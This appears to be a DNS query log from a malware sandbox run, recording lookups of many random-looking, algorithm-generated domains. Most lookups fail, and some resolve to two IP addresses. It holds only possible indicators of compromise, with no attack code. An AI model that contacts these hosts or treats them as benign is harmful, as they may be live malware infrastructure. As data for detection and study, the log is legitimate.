Jan 5, 2025 10:51:46.238991976 CET	1.1.1.1	192.168.2.4	0xd7f8	Name error (3)	xgyos.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.332777977 CET	1.1.1.1	192.168.2.4	0x29a8	Name error (3)	wqywmqafkmw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.387377977 CET	1.1.1.1	192.168.2.4	0xe741	Name error (3)	wqywmqafkmw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.692186117 CET	1.1.1.1	192.168.2.4	0x5a91	Name error (3)	mokctkqiaa.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.731252909 CET	1.1.1.1	192.168.2.4	0x7c08	Name error (3)	mokctkqiaa.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.797302961 CET	1.1.1.1	192.168.2.4	0x2399	Name error (3)	gwrwxsaapap.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.689805031 CET	1.1.1.1	192.168.2.4	0x349	Name error (3)	gwrwxsaapap.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.746124029 CET	1.1.1.1	192.168.2.4	0x4ef1	No error (0)	smecko.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.774267912 CET	1.1.1.1	192.168.2.4	0xf419	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.784800053 CET	1.1.1.1	192.168.2.4	0xb8e8	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.913043022 CET	1.1.1.1	192.168.2.4	0x9e5a	Name error (3)	uimkqnaucke.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.193825960 CET	1.1.1.1	192.168.2.4	0xd760	Name error (3)	uimkqnaucke.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.244811058 CET	1.1.1.1	192.168.2.4	0x4a16	No error (0)	kaeqqkocx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.269265890 CET	1.1.1.1	192.168.2.4	0xa15c	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.279426098 CET	1.1.1.1	192.168.2.4	0x7f33	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.361131907 CET	1.1.1.1	192.168.2.4	0x928b	No error (0)	oiugelclnqi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.379901886 CET	1.1.1.1	192.168.2.4	0xeee0	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.389867067 CET	1.1.1.1	192.168.2.4	0x9f67	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.440057039 CET	1.1.1.1	192.168.2.4	0xdd81	No error (0)	aaexegrojwrdp.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.489233971 CET	1.1.1.1	192.168.2.4	0xc053	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.549653053 CET	1.1.1.1	192.168.2.4	0x97ad	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.595813990 CET	1.1.1.1	192.168.2.4	0xabbc	Name error (3)	jkukogsptal.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.639796972 CET	1.1.1.1	192.168.2.4	0xd13e	Name error (3)	jkukogsptal.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.687895060 CET	1.1.1.1	192.168.2.4	0x5f72	Name error (3)	uolsaisikpqpc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.700331926 CET	1.1.1.1	192.168.2.4	0x34ca	Name error (3)	uolsaisikpqpc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.759221077 CET	1.1.1.1	192.168.2.4	0x3d29	Name error (3)	xwfqkjefa.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.771730900 CET	1.1.1.1	192.168.2.4	0x72b9	Name error (3)	xwfqkjefa.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.827601910 CET	1.1.1.1	192.168.2.4	0x4fb5	Name error (3)	gehnusmwemh.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.860281944 CET	1.1.1.1	192.168.2.4	0x2019	Name error (3)	gehnusmwemh.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.987153053 CET	1.1.1.1	192.168.2.4	0xe4ba	No error (0)	uyywyxggiyebm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.280055046 CET	1.1.1.1	192.168.2.4	0x3e2d	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.289477110 CET	1.1.1.1	192.168.2.4	0x677e	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.377643108 CET	1.1.1.1	192.168.2.4	0x54ef	Name error (3)	aeoou.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.395297050 CET	1.1.1.1	192.168.2.4	0x4755	Name error (3)	aeoou.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.439744949 CET	1.1.1.1	192.168.2.4	0x81c8	Name error (3)	snccscrdzq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.458830118 CET	1.1.1.1	192.168.2.4	0x9b64	Name error (3)	snccscrdzq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.504585981 CET	1.1.1.1	192.168.2.4	0xc4c7	Name error (3)	sehqgoumu.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.536088943 CET	1.1.1.1	192.168.2.4	0x27ff	Name error (3)	sehqgoumu.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.759736061 CET	1.1.1.1	192.168.2.4	0xe7db	Name error (3)	raipvegyj.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.854485035 CET	1.1.1.1	192.168.2.4	0xbdb0	Name error (3)	raipvegyj.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.928901911 CET	1.1.1.1	192.168.2.4	0xc5a8	Name error (3)	imogzwcwmkqdtm.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.989793062 CET	1.1.1.1	192.168.2.4	0x3304	Name error (3)	imogzwcwmkqdtm.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.036885023 CET	1.1.1.1	192.168.2.4	0x1272	No error (0)	iiuwdiulcgyih.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.081000090 CET	1.1.1.1	192.168.2.4	0xc75e	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.094274044 CET	1.1.1.1	192.168.2.4	0x4dcb	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.153681040 CET	1.1.1.1	192.168.2.4	0x54fb	Name error (3)	zangrewweloo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.167064905 CET	1.1.1.1	192.168.2.4	0xb10f	Name error (3)	zangrewweloo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.268939972 CET	1.1.1.1	192.168.2.4	0xb825	Name error (3)	sfcbvqt.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.534796000 CET	1.1.1.1	192.168.2.4	0xe640	Name error (3)	sfcbvqt.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.592848063 CET	1.1.1.1	192.168.2.4	0xedf7	No error (0)	oeygvuzatkksg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.650257111 CET	1.1.1.1	192.168.2.4	0xac26	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.663810968 CET	1.1.1.1	192.168.2.4	0xe325	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.713084936 CET	1.1.1.1	192.168.2.4	0xd985	Name error (3)	tqciwucgyyotk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.733956099 CET	1.1.1.1	192.168.2.4	0x85d3	Name error (3)	tqciwucgyyotk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.783865929 CET	1.1.1.1	192.168.2.4	0x7a1	Name error (3)	sqwmqk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.793917894 CET	1.1.1.1	192.168.2.4	0x9641	Name error (3)	sqwmqk.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.835938931 CET	1.1.1.1	192.168.2.4	0x7324	Name error (3)	kseukkoeq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.849512100 CET	1.1.1.1	192.168.2.4	0x40a7	Name error (3)	kseukkoeq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:51.154869080 CET	1.1.1.1	192.168.2.4	0x5ea2	Name error (3)	lrkjq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:51.931571960 CET	1.1.1.1	192.168.2.4	0xfe5c	Name error (3)	lrkjq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.017488956 CET	1.1.1.1	192.168.2.4	0xd154	Name error (3)	ukfmacpig.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.064519882 CET	1.1.1.1	192.168.2.4	0xa8e2	Name error (3)	ukfmacpig.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.111011982 CET	1.1.1.1	192.168.2.4	0xfe15	Name error (3)	gcvcccynkkhtg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.125606060 CET	1.1.1.1	192.168.2.4	0xdac4	Name error (3)	gcvcccynkkhtg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.192344904 CET	1.1.1.1	192.168.2.4	0x24c	Name error (3)	cqmcn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.207293987 CET	1.1.1.1	192.168.2.4	0xcec6	Name error (3)	cqmcn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.277620077 CET	1.1.1.1	192.168.2.4	0x53d9	Name error (3)	xiuydwcmgrous.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.312015057 CET	1.1.1.1	192.168.2.4	0xc9ad	Name error (3)	xiuydwcmgrous.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.370587111 CET	1.1.1.1	192.168.2.4	0x9e98	No error (0)	iyskgbkca.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.388318062 CET	1.1.1.1	192.168.2.4	0x43d9	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.398665905 CET	1.1.1.1	192.168.2.4	0x1833	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.459075928 CET	1.1.1.1	192.168.2.4	0x272f	Name error (3)	mlzgelseemt.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.500557899 CET	1.1.1.1	192.168.2.4	0xc168	Name error (3)	mlzgelseemt.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.546987057 CET	1.1.1.1	192.168.2.4	0xd048	Name error (3)	sivkfim.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.557537079 CET	1.1.1.1	192.168.2.4	0x7529	Name error (3)	sivkfim.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.594885111 CET	1.1.1.1	192.168.2.4	0xd987	Name error (3)	rinnyewywawai.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.605480909 CET	1.1.1.1	192.168.2.4	0xfaf0	Name error (3)	rinnyewywawai.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.902060032 CET	1.1.1.1	192.168.2.4	0xf9cb	Name error (3)	wcpvv.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.941679955 CET	1.1.1.1	192.168.2.4	0x6c55	Name error (3)	wcpvv.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.008758068 CET	1.1.1.1	192.168.2.4	0x9b70	Name error (3)	kgxeeyc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.059740067 CET	1.1.1.1	192.168.2.4	0xb0a0	Name error (3)	kgxeeyc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.101226091 CET	1.1.1.1	192.168.2.4	0x1a15	Name error (3)	knqeasqwo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.114219904 CET	1.1.1.1	192.168.2.4	0xd9ba	Name error (3)	knqeasqwo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.159846067 CET	1.1.1.1	192.168.2.4	0x8b6	No error (0)	ukayp.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.176568031 CET	1.1.1.1	192.168.2.4	0x9570	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.188772917 CET	1.1.1.1	192.168.2.4	0x52d0	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.267085075 CET	1.1.1.1	192.168.2.4	0xb3bb	Name error (3)	wgnuhce.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.293881893 CET	1.1.1.1	192.168.2.4	0xa2a7	Name error (3)	wgnuhce.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.355676889 CET	1.1.1.1	192.168.2.4	0xffdb	Name error (3)	sucqgwmgtooxj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.657718897 CET	1.1.1.1	192.168.2.4	0x3a1	Name error (3)	sucqgwmgtooxj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.728203058 CET	1.1.1.1	192.168.2.4	0xfbd	Name error (3)	uefqem.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.987690926 CET	1.1.1.1	192.168.2.4	0x5d7f	Name error (3)	uefqem.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.303803921 CET	1.1.1.1	192.168.2.4	0xd550	Name error (3)	agibqcoarqs.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.683942080 CET	1.1.1.1	192.168.2.4	0x8c4e	Name error (3)	agibqcoarqs.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.803674936 CET	1.1.1.1	192.168.2.4	0xcac5	Name error (3)	gnaeppaegscpu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.680541039 CET	1.1.1.1	192.168.2.4	0x997c	Name error (3)	gnaeppaegscpu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.720757961 CET	1.1.1.1	192.168.2.4	0xe2d7	Name error (3)	oeciavyaqmmmwo.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.760910034 CET	1.1.1.1	192.168.2.4	0x3c32	Name error (3)	oeciavyaqmmmwo.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.807512045 CET	1.1.1.1	192.168.2.4	0xf2c2	Name error (3)	picpaykwm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.837585926 CET	1.1.1.1	192.168.2.4	0x9167	Name error (3)	picpaykwm.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.877616882 CET	1.1.1.1	192.168.2.4	0xa80f	Name error (3)	ymetq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.897392035 CET	1.1.1.1	192.168.2.4	0xcea6	Name error (3)	ymetq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.491970062 CET	1.1.1.1	192.168.2.4	0xb339	Name error (3)	saomdtepk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.530666113 CET	1.1.1.1	192.168.2.4	0x32b	Name error (3)	saomdtepk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.577404976 CET	1.1.1.1	192.168.2.4	0xa9ba	No error (0)	mjbwd.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.678683043 CET	1.1.1.1	192.168.2.4	0x8017	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.694758892 CET	1.1.1.1	192.168.2.4	0x8e8e	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.763187885 CET	1.1.1.1	192.168.2.4	0x88d9	Name error (3)	whaemecqv.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.815193892 CET	1.1.1.1	192.168.2.4	0xf74b	Name error (3)	whaemecqv.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.862194061 CET	1.1.1.1	192.168.2.4	0x8b82	Name error (3)	murxwyoxuauqe.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.885349035 CET	1.1.1.1	192.168.2.4	0x3e3	Name error (3)	murxwyoxuauqe.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.954747915 CET	1.1.1.1	192.168.2.4	0xe881	Name error (3)	qomjoycmgieg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.027307034 CET	1.1.1.1	192.168.2.4	0x18f3	Name error (3)	qomjoycmgieg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.095772028 CET	1.1.1.1	192.168.2.4	0x130b	Name error (3)	etuojug.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.133096933 CET	1.1.1.1	192.168.2.4	0xc29b	Name error (3)	etuojug.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.183639050 CET	1.1.1.1	192.168.2.4	0xdf93	No error (0)	xoomw.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.201759100 CET	1.1.1.1	192.168.2.4	0xd5fc	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.213037014 CET	1.1.1.1	192.168.2.4	0xffb9	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.266436100 CET	1.1.1.1	192.168.2.4	0x5bdb	Name error (3)	afymokx.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.372015953 CET	1.1.1.1	192.168.2.4	0x1d1	Name error (3)	afymokx.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.409394026 CET	1.1.1.1	192.168.2.4	0xbade	Name error (3)	ywowanpba.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.423275948 CET	1.1.1.1	192.168.2.4	0x2327	Name error (3)	ywowanpba.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.486864090 CET	1.1.1.1	192.168.2.4	0xb7b5	No error (0)	vnqjxaxqkbbus.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.545777082 CET	1.1.1.1	192.168.2.4	0x75f9	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.572957039 CET	1.1.1.1	192.168.2.4	0x4616	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.705497980 CET	1.1.1.1	192.168.2.4	0xa65a	Name error (3)	xygzk.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.817708015 CET	1.1.1.1	192.168.2.4	0xb8e6	Name error (3)	xygzk.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.990822077 CET	1.1.1.1	192.168.2.4	0x4243	Name error (3)	fepyp.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.005310059 CET	1.1.1.1	192.168.2.4	0x4582	Name error (3)	fepyp.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.073167086 CET	1.1.1.1	192.168.2.4	0xf1b5	Name error (3)	kgxgw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.094041109 CET	1.1.1.1	192.168.2.4	0x4278	Name error (3)	kgxgw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.141798019 CET	1.1.1.1	192.168.2.4	0xffbf	Name error (3)	vdoiuavwsc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.267342091 CET	1.1.1.1	192.168.2.4	0xe9c7	Name error (3)	vdoiuavwsc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.315725088 CET	1.1.1.1	192.168.2.4	0x73c9	Name error (3)	ewivwvcymhkio.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.325026989 CET	1.1.1.1	192.168.2.4	0x4ecb	Name error (3)	ewivwvcymhkio.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.448720932 CET	1.1.1.1	192.168.2.4	0xe1a9	Name error (3)	cukev.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.458945990 CET	1.1.1.1	192.168.2.4	0x99b8	Name error (3)	cukev.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.516311884 CET	1.1.1.1	192.168.2.4	0x7a66	Name error (3)	caqeuikgqbq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.638124943 CET	1.1.1.1	192.168.2.4	0xa4f3	Name error (3)	caqeuikgqbq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.676549911 CET	1.1.1.1	192.168.2.4	0xc43a	Name error (3)	mewii.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.700128078 CET	1.1.1.1	192.168.2.4	0x9d8	Name error (3)	mewii.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.766952038 CET	1.1.1.1	192.168.2.4	0x302d	Name error (3)	rvgjfludpeo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.811671972 CET	1.1.1.1	192.168.2.4	0xd094	Name error (3)	rvgjfludpeo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.107012033 CET	1.1.1.1	192.168.2.4	0xfb3c	Name error (3)	kjqii.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.145602942 CET	1.1.1.1	192.168.2.4	0x8498	Name error (3)	kjqii.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.187822104 CET	1.1.1.1	192.168.2.4	0x3477	No error (0)	xgotixwyk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.205544949 CET	1.1.1.1	192.168.2.4	0x7788	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.216366053 CET	1.1.1.1	192.168.2.4	0xfdc5	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.274791956 CET	1.1.1.1	192.168.2.4	0x8dab	Name error (3)	utseaqobugn.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.284509897 CET	1.1.1.1	192.168.2.4	0xba34	Name error (3)	utseaqobugn.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.338479996 CET	1.1.1.1	192.168.2.4	0xf816	No error (0)	meywp.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.354429960 CET	1.1.1.1	192.168.2.4	0x7bc9	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.365555048 CET	1.1.1.1	192.168.2.4	0xd8e8	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.422120094 CET	1.1.1.1	192.168.2.4	0xaf8d	Name error (3)	ckgudj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.451095104 CET	1.1.1.1	192.168.2.4	0xa7aa	Name error (3)	ckgudj.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.559267044 CET	1.1.1.1	192.168.2.4	0x4e0b	Name error (3)	qeeegkxyyi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.571769953 CET	1.1.1.1	192.168.2.4	0x7a59	Name error (3)	qeeegkxyyi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.864098072 CET	1.1.1.1	192.168.2.4	0xd23a	No error (0)	taqwzio.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.883460999 CET	1.1.1.1	192.168.2.4	0x5633	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.894404888 CET	1.1.1.1	192.168.2.4	0xc70c	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.967109919 CET	1.1.1.1	192.168.2.4	0xf2af	Name error (3)	eqqqg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.027194023 CET	1.1.1.1	192.168.2.4	0xac70	Name error (3)	eqqqg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.072828054 CET	1.1.1.1	192.168.2.4	0xd886	No error (0)	swnalczejnim.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.091656923 CET	1.1.1.1	192.168.2.4	0x7374	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.125061035 CET	1.1.1.1	192.168.2.4	0x9b81	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.172972918 CET	1.1.1.1	192.168.2.4	0xb897	Name error (3)	gyuctmnqodcuxr.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.203737020 CET	1.1.1.1	192.168.2.4	0xca5e	Name error (3)	gyuctmnqodcuxr.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.236581087 CET	1.1.1.1	192.168.2.4	0x8dd8	Name error (3)	entwowfsvqchd.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.249924898 CET	1.1.1.1	192.168.2.4	0xa854	Name error (3)	entwowfsvqchd.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.310313940 CET	1.1.1.1	192.168.2.4	0x5ebd	No error (0)	scmkkkslv.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.327753067 CET	1.1.1.1	192.168.2.4	0x61df	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.344849110 CET	1.1.1.1	192.168.2.4	0xeaa6	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.444087982 CET	1.1.1.1	192.168.2.4	0x4671	Name error (3)	kigyaiv.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.633506060 CET	1.1.1.1	192.168.2.4	0x5539	Name error (3)	kigyaiv.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.695885897 CET	1.1.1.1	192.168.2.4	0x2869	No error (0)	oqkfrftagqq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.715032101 CET	1.1.1.1	192.168.2.4	0x60ea	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.728836060 CET	1.1.1.1	192.168.2.4	0xd976	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
